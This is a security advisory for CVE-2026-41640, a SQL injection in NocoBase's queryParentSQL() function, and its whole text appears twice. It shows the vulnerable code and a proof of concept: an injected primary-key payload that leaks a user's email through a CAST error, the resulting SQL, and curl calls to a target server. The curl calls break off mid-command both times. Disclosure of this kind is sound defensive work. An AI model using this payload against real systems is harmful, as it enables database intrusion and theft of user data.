CVE-2026-41640

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39.

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39.

Summary

The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.

Affected component: @nocobase/database (core) Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys

Vulnerable Code

packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84

const queryParentSQL = (options: {
  db: Database;
  nodeIds: any[];
  collection: Collection;
  foreignKey: string;
  targetKey: string;
}) => {
  const { collection, db, nodeIds } = options;
  const tableName = collection.quotedTableName();
  const { foreignKey, targetKey } = options;
  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
  const targetKeyField = collection.model.rawAttributes[targetKey].field;

  const queryInterface = db.sequelize.getQueryInterface();
  const q = queryInterface.quoteIdentifier.bind(queryInterface);
  return `WITH RECURSIVE cte AS (
      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
      FROM ${tableName}
      WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}')  // <-- INJECTION
      UNION ALL
      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
      FROM ${tableName} AS t
      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
      )
      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};

This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:

// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
    const targetKey = association.targetKey;
    const sql = queryParentSQL({
        db: this.db, collection, foreignKey, targetKey,
        nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
    });
    const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}

PoC

The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.

Injection ID value:
  root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1

Generated SQL (3 valid UNION ALL branches):
  WITH RECURSIVE cte AS (
    SELECT "id", "parentId" FROM "table"
    WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
    UNION ALL
    SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
  ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte

The CAST-to-integer triggers a runtime error whose message contains the subquery result.

TOKEN="<jwt_token>"

# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
    {"name":"id","type":"string","primaryKey":true,"interface":"input"},
    {"name":"title","type":"string","interface":"input"},
    {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
    {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
  ]}'

# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
  -H "Authorization:…

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39.

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39.

Summary

The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.

Affected component: @nocobase/database (core) Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys

Vulnerable Code

packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84

const queryParentSQL = (options: {
  db: Database;
  nodeIds: any[];
  collection: Collection;
  foreignKey: string;
  targetKey: string;
}) => {
  const { collection, db, nodeIds } = options;
  const tableName = collection.quotedTableName();
  const { foreignKey, targetKey } = options;
  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
  const targetKeyField = collection.model.rawAttributes[targetKey].field;

  const queryInterface = db.sequelize.getQueryInterface();
  const q = queryInterface.quoteIdentifier.bind(queryInterface);
  return `WITH RECURSIVE cte AS (
      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
      FROM ${tableName}
      WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}')  // <-- INJECTION
      UNION ALL
      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
      FROM ${tableName} AS t
      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
      )
      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};

This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:

// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
    const targetKey = association.targetKey;
    const sql = queryParentSQL({
        db: this.db, collection, foreignKey, targetKey,
        nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
    });
    const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}

PoC

The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.

Injection ID value:
  root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1

Generated SQL (3 valid UNION ALL branches):
  WITH RECURSIVE cte AS (
    SELECT "id", "parentId" FROM "table"
    WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
    UNION ALL
    SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
  ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte

The CAST-to-integer triggers a runtime error whose message contains the subquery result.

TOKEN="<jwt_token>"

# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
    {"name":"id","type":"string","primaryKey":true,"interface":"input"},
    {"name":"title","type":"string","interface":"input"},
    {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
    {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
  ]}'

# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
  -H "Authorization:…